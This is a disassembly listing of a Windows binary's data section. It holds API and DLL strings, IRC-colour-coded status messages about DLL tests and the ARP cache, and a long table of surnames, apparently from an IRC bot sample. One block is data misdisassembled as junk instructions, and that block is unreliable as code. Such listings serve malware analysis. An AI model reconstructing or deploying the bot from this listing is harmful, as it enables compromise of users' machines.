aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409B12+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409B12+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409B12+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409B12+Ao
		align 4
unk_42D368	db  2Dh	; -		; DATA XREF: sub_40A7CE+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o
		align 10h
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o
		align 10h
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o
		align 10h
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o
		align 4
a_:					; DATA XREF: sub_40F96A+252o
		unicode	0, <.>,0
unk_42D4F8	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABF0o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
unk_42D528	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABBEo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_42D558	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40AB8Ao
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_42D57C	db  2Dh	; -		; DATA XREF: sub_40AB31+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AC0F+46o
					; sub_40BFEB+38o
		align 8
aReal		db 'real',0
		align 10h
		dd 0
dword_42D5C4	dd 0			; DATA XREF: sub_40B08D+7o
off_42D5C8	dd offset sub_40ACB5	; DATA XREF: sub_40B08D+49r
aConst		db 'const',0
		align 8
		dd 1, 40AD22h, 7474656Ch, 7265h, 0
		dd 2, 40AD80h, 706D6F63h, 2 dup(0)
		dd 3, 40ADCDh, 6E756F63h, 797274h, 0
		dd 4, 40AE6Bh, 736Fh, 2	dup(0)
		dd 5, 40AEE0h
off_42D630	dd offset aAbdulrazak	; DATA XREF: sub_40ACB5+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42D63C	dd offset aAddison	; DATA XREF: sub_40B08D+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
; ---------------------------------------------------------------------------
		mov	esp, 0B40042FEh
		inc	byte ptr [edx+0]
		mov	al, 0FEh
		inc	edx
		add	[eax-5FFFBD02h], ch
		inc	byte ptr [edx+0]
		cwde
		inc	byte ptr [edx+0]
		nop
		inc	byte ptr [edx+0]
		mov	dh, bh
		inc	edx
		add	[eax+780042FEh], al
		inc	byte ptr [edx+0]

loc_42DED4:				; CODE XREF: ___:loc_42DED4j
		jo	short loc_42DED4
		inc	edx
		add	[eax-2], ch
		inc	edx
		add	[eax-2], ah
		inc	edx
		add	[eax-2], bl
		inc	edx
		add	[eax-2], dl
		inc	edx
		add	[eax-2], cl
		inc	edx
		add	[eax-2], al
		inc	edx
		add	[eax], bh
		inc	byte ptr [edx+0]
		xor	dh, bh
		inc	edx
		add	[eax], ah
		inc	byte ptr [edx+0]
		sbb	dh, bh
		inc	edx
		add	[esi+edi*8], cl
		inc	edx
; ---------------------------------------------------------------------------
		db 0
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
